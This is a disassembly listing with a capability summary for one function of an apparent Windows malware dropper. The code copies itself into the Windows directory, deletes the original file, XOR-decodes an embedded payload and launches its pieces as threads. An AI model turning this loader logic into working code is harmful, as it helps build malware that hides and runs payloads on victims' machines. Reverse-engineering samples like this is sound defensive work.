Function at 0x401220
Capabilities:
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x12c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
call fcn.004018d0
lea ecx, [esp + 0x12c]
push 0
push ecx
lea ecx, [esp + 0x18]
call fcn.004018e0
test eax, eax
jne 0x40129c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x12c]
push 0
push edx
lea ecx, [esp + 0x18]
jmp loc.0040249b
lea ecx, [esp + 0x10]
call fcn.00401a90
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 8
mov dword [0x401aa4], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x401aa4]
mov dword [0x401aa0], eax
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.00401a10
lea ecx, [esp + 0x10]
call fcn.00401a70
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x28]
push 0x104
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x28]
push 0x40119c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x12c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4013a5
lea ecx, [esp + 0x14]
call fcn.004018d0
lea eax, [esp + 0x28]
push 0x1001
push eax
lea ecx, [esp + 0x1c]
call fcn.004018e0
test eax, eax
je 0x4013a5
mov ecx, dword [0x401aa4]
mov edx, dword [0x401aa0]
push ecx
push edx
lea ecx, [esp + 0x1c]
call fcn.00401a40
lea eax, [esp + 0x12c]
push 0x104
push eax
lea ecx, [esp + 0x1c]
jmp loc.00402000
push 0x401190
call fcn.004014f0
mov eax, dword [0x401aa4]
mov ecx, dword [0x401aa0]
lea esi, [ecx + eax - 0x104]
push esi
call fcn.00401810
add esp, 8
test al, al
je 0x4013e0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x401aa0]
mov edx, dword [0x401aa4]
mov eax, dword [ecx + 0x1c]
add eax, ecx
sub ecx, eax
mov dword [0x401aa8], eax
mov edi, eax
lea esi, [eax + 0x80]
lea ebp, [ecx + edx - 0x80]
xor edx, edx
xor ecx, ecx
test ebp, ebp
jle 0x401427
mov al, byte [ecx + edi]
xor byte [edx + esi], al
inc ecx
inc edx
cmp ecx, 0x80
jl 0x40141e
xor ecx, ecx
cmp edx, ebp
jl 0x40140c
mov eax, dword [0x401aa8]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
add eax, 0x80
mov dword [0x401aac], eax
mov dword [esp + 0x18], 0x401108
mov dword [esp + 0x1c], 0x401098
mov ecx, dword [0x401aac]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401670
mov esi, eax
xor ebp, ebp
cmp esi, ebp
je 0x40148f
cmp dword [esi + 4], 0x14
jbe 0x401470
mov edx, dword [esi + 8]
cmp dword [edx], 0x1234
je 0x40149c
mov eax, dword [esi + 8]
cmp eax, ebp
je 0x401487
push eax
push 8
call ebx
push eax
call edi
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
mov dword [esi], ebp
push esi
push 8
call ebx
push eax
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401447
mov esi, dword [esi + 8]
xor edi, edi
cmp dword [esi + 4], ebp
je 0x4014d4
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esi], 0x1234
jne 0x4014d4
push 0
push 0
push esi
push 0x401530
push 0
push 0
call ebp
test edi, edi
jne 0x4014ca
mov edi, eax
add esi, dword [esi + 4]
mov eax, dword [esi + 4]
test eax, eax
jne 0x4014ac
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x220
ret